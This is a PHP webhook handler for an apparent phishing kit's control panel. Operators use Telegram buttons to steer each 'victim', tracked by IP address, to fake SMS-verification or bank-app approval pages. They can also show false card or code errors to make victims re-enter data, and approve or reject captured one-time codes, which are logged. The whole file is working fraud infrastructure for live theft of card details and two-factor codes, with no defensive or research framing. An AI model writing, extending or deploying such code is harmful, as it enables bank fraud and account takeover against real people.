<?php
/**
 * Telegram Webhook Handler
 * Handles button clicks from Telegram and updates victim status
 */

define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';

// Get webhook data
$content = file_get_contents("php://input");
$update = json_decode($content, true);

// Log webhook data for debugging
$logData = "[" . date('Y-m-d H:i:s') . "] Webhook received: " . $content . "\n";
@file_put_contents(__DIR__ . '/../logs/telegram_webhook.log', $logData, FILE_APPEND);

// Check if it's a callback query (button click)
if (isset($update['callback_query'])) {
    $callbackQuery = $update['callback_query'];
    $callbackData = $callbackQuery['data'];
    $chatId = $callbackQuery['message']['chat']['id'];
    $messageId = $callbackQuery['message']['message_id'];
    
    // Parse callback data
    $parts = explode('_', $callbackData);
    $action = $parts[0];
    
    // Handle different actions
    switch ($action) {
        case 'sms':
            // sms_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleSMS($ip, $chatId, $messageId);
            }
            break;
            
        case 'app':
            // app_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleApp($ip, $chatId, $messageId);
            }
            break;
            
        case 'badsms':
            // badsms_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleBadSMS($ip, $chatId, $messageId);
            }
            break;
            
        case 'badcc':
            // badcc_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleBadCC($ip, $chatId, $messageId);
            }
            break;
            
        case 'badapp':
            // badapp_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleBadApp($ip, $chatId, $messageId);
            }
            break;
            
        case 'confirm':
            // confirm_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleConfirm($ip, $chatId, $messageId);
            }
            break;
            
        case 'approve':
            // approve_sms_IP_CODE
            if ($parts[1] === 'sms' && isset($parts[2]) && isset($parts[3])) {
                $ip = $parts[2];
                $code = $parts[3];
                handleApprove($ip, $code, $chatId, $messageId);
            }
            break;
            
        case 'reject':
            // reject_sms_IP_CODE
            if ($parts[1] === 'sms' && isset($parts[2]) && isset($parts[3])) {
                $ip = $parts[2];
                $code = $parts[3];
                handleReject($ip, $code, $chatId, $messageId);
            }
            break;
            
        case 'retry':
            // retry_sms_IP
            if ($parts[1] === 'sms' && isset($parts[2])) {
                $ip = $parts[2];
                handleRetry($ip, $chatId, $messageId);
            }
            break;
            
        case 'ban':
            // ban_IP
            if (isset($parts[1])) {
                $ip = $parts[1];
                handleBan($ip, $chatId, $messageId);
            }
            break;
    }
}

/**
 * Handle SMS button click
 */
function handleSMS($ip, $chatId, $messageId) {
    // Add IP to SMS list
    $smsFile = BASE_PATH . '/Panel/action/ip_sms.txt';
    $content = file_exists($smsFile) ? file_get_contents($smsFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($smsFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log action
    $logData = "[" . date('Y-m-d H:i:s') . "] SMS REQUESTED - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/panel_actions.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "📲 SMS REQUESTED!\n\nThe victim will be redirected to SMS verification page.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "📲 Redirecting to SMS page...");
}

/**
 * Handle APPLICATION button click
 */
function handleApp($ip, $chatId, $messageId) {
    // Add IP to app list
    $appFile = BASE_PATH . '/Panel/action/ip_app.txt';
    $content = file_exists($appFile) ? file_get_contents($appFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($appFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log action
    $logData = "[" . date('Y-m-d H:i:s') . "] APP APPROVAL REQUESTED - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/panel_actions.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "📱 BANK APP APPROVAL REQUESTED!\n\nThe victim will be redirected to bank approval page.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "📱 Redirecting to bank approval...");
}

/**
 * Handle BAD SMS button click
 */
function handleBadSMS($ip, $chatId, $messageId) {
    // Add IP to bad SMS list
    $badsmsFile = BASE_PATH . '/Panel/action/ip_badsms.txt';
    $content = file_exists($badsmsFile) ? file_get_contents($badsmsFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($badsmsFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log action
    $logData = "[" . date('Y-m-d H:i:s') . "] BAD SMS - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/panel_actions.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "⛔ BAD SMS!\n\nThe victim will see an error and be asked to retry.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "⛔ Showing SMS error...");
}

/**
 * Handle BAD CC button click
 */
function handleBadCC($ip, $chatId, $messageId) {
    // Add IP to bad CC list
    $badccFile = BASE_PATH . '/Panel/action/ip_badcc.txt';
    $content = file_exists($badccFile) ? file_get_contents($badccFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($badccFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log action
    $logData = "[" . date('Y-m-d H:i:s') . "] BAD CC - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/panel_actions.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "💳 BAD CC!\n\nThe victim will see a card error and be asked to re-enter.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "💳 Showing card error...");
}

/**
 * Handle BAD APPLICATION button click
 */
function handleBadApp($ip, $chatId, $messageId) {
    // Add IP to bad app list
    $badappFile = BASE_PATH . '/Panel/action/ip_badapp.txt';
    $content = file_exists($badappFile) ? file_get_contents($badappFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($badappFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Remove from app list
    $appFile = BASE_PATH . '/Panel/action/ip_app.txt';
    if (file_exists($appFile)) {
        $content = file_get_contents($appFile);
        $content = str_replace($ip . PHP_EOL, '', $content);
        $content = str_replace($ip, '', $content);
        file_put_contents($appFile, $content);
    }
    
    // Log action
    $logData = "[" . date('Y-m-d H:i:s') . "] BAD APPLICATION - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/panel_actions.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "📱 BAD APPLICATION!\n\nThe victim will see an error and be asked to retry.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "📱 Showing application error...");
}

/**
 * Handle CONFIRM button click
 */
function handleConfirm($ip, $chatId, $messageId) {
    // Add IP to confirm list
    $confirmFile = BASE_PATH . '/Panel/action/ip_confirm.txt';
    $content = file_exists($confirmFile) ? file_get_contents($confirmFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($confirmFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log action
    $logData = "[" . date('Y-m-d H:i:s') . "] CONFIRMED - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/panel_actions.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "✅ CONFIRMED!\n\nThe victim will be redirected to success page.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "✅ Confirmed successfully!");
}

/**
 * Handle SMS code approval
 */
function handleApprove($ip, $code, $chatId, $messageId) {
    // Remove IP from bad SMS list
    $badsmsFile = BASE_PATH . '/Panel/action/ip_badsms.txt';
    if (file_exists($badsmsFile)) {
        $content = file_get_contents($badsmsFile);
        $content = str_replace($ip . PHP_EOL, '', $content);
        $content = str_replace($ip, '', $content);
        file_put_contents($badsmsFile, $content);
    }
    
    // Create approval file for this IP
    $approvalFile = BASE_PATH . '/Panel/action/sms_approved_' . md5($ip) . '.txt';
    file_put_contents($approvalFile, json_encode([
        'ip' => $ip,
        'code' => $code,
        'approved' => true,
        'timestamp' => time()
    ]));
    
    // Log approval
    $logData = "[" . date('Y-m-d H:i:s') . "] SMS APPROVED - IP: {$ip}, Code: {$code}\n";
    @file_put_contents(BASE_PATH . '/logs/sms_approvals.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "✅ CODE APPROVED!\n\nThe victim will be redirected to success page.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "✅ Code approved successfully!");
}

/**
 * Handle SMS code rejection
 */
function handleReject($ip, $code, $chatId, $messageId) {
    // Add IP to bad SMS list
    $badsmsFile = BASE_PATH . '/Panel/action/ip_badsms.txt';
    $content = file_exists($badsmsFile) ? file_get_contents($badsmsFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($badsmsFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Create rejection file
    $rejectionFile = BASE_PATH . '/Panel/action/sms_rejected_' . md5($ip) . '.txt';
    file_put_contents($rejectionFile, json_encode([
        'ip' => $ip,
        'code' => $code,
        'rejected' => true,
        'timestamp' => time()
    ]));
    
    // Log rejection
    $logData = "[" . date('Y-m-d H:i:s') . "] SMS REJECTED - IP: {$ip}, Code: {$code}\n";
    @file_put_contents(BASE_PATH . '/logs/sms_approvals.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "❌ CODE REJECTED!\n\nThe victim will see an error message.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "❌ Code rejected!");
}

/**
 * Handle retry request
 */
function handleRetry($ip, $chatId, $messageId) {
    // Add IP to bad SMS list to trigger retry
    $badsmsFile = BASE_PATH . '/Panel/action/ip_badsms.txt';
    $content = file_exists($badsmsFile) ? file_get_contents($badsmsFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($badsmsFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log retry
    $logData = "[" . date('Y-m-d H:i:s') . "] SMS RETRY REQUESTED - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/sms_approvals.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "🔄 NEW CODE REQUESTED!\n\nThe victim will be asked to enter a new code.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "🔄 Requesting new code...");
}

/**
 * Handle IP ban
 */
function handleBan($ip, $chatId, $messageId) {
    // Add to blacklist
    $blacklistFile = BASE_PATH . '/Panel/blacklist.txt';
    $content = file_exists($blacklistFile) ? file_get_contents($blacklistFile) : '';
    if (strpos($content, $ip) === false) {
        file_put_contents($blacklistFile, $ip . PHP_EOL, FILE_APPEND);
    }
    
    // Log ban
    $logData = "[" . date('Y-m-d H:i:s') . "] IP BANNED - IP: {$ip}\n";
    @file_put_contents(BASE_PATH . '/logs/sms_approvals.log', $logData, FILE_APPEND);
    
    // Update Telegram message
    updateTelegramMessage($chatId, $messageId, "🛑 IP BANNED!\n\nThe victim has been blocked.");
    
    // Send callback answer
    answerCallbackQuery($GLOBALS['update']['callback_query']['id'], "🛑 IP banned successfully!");
}

/**
 * Update Telegram message
 */
function updateTelegramMessage($chatId, $messageId, $newText) {
    if (!defined('TELEGRAM_BOT_TOKEN') || TELEGRAM_BOT_TOKEN === 'YOUR_BOT_TOKEN_HERE') {
        return false;
    }
    
    $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/editMessageText";
    
    $data = [
        'chat_id' => $chatId,
        'message_id' => $messageId,
        'text' => $newText,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $result = curl_exec($ch);
    curl_close($ch);
    
    return $result;
}

/**
 * Answer callback query (show notification)
 */
function answerCallbackQuery($callbackQueryId, $text) {
    if (!defined('TELEGRAM_BOT_TOKEN') || TELEGRAM_BOT_TOKEN === 'YOUR_BOT_TOKEN_HERE') {
        return false;
    }
    
    $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/answerCallbackQuery";
    
    $data = [
        'callback_query_id' => $callbackQueryId,
        'text' => $text,
        'show_alert' => false
    ];
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $result = curl_exec($ch);
    curl_close($ch);
    
    return $result;
}

// Return 200 OK to Telegram
http_response_code(200);
?>
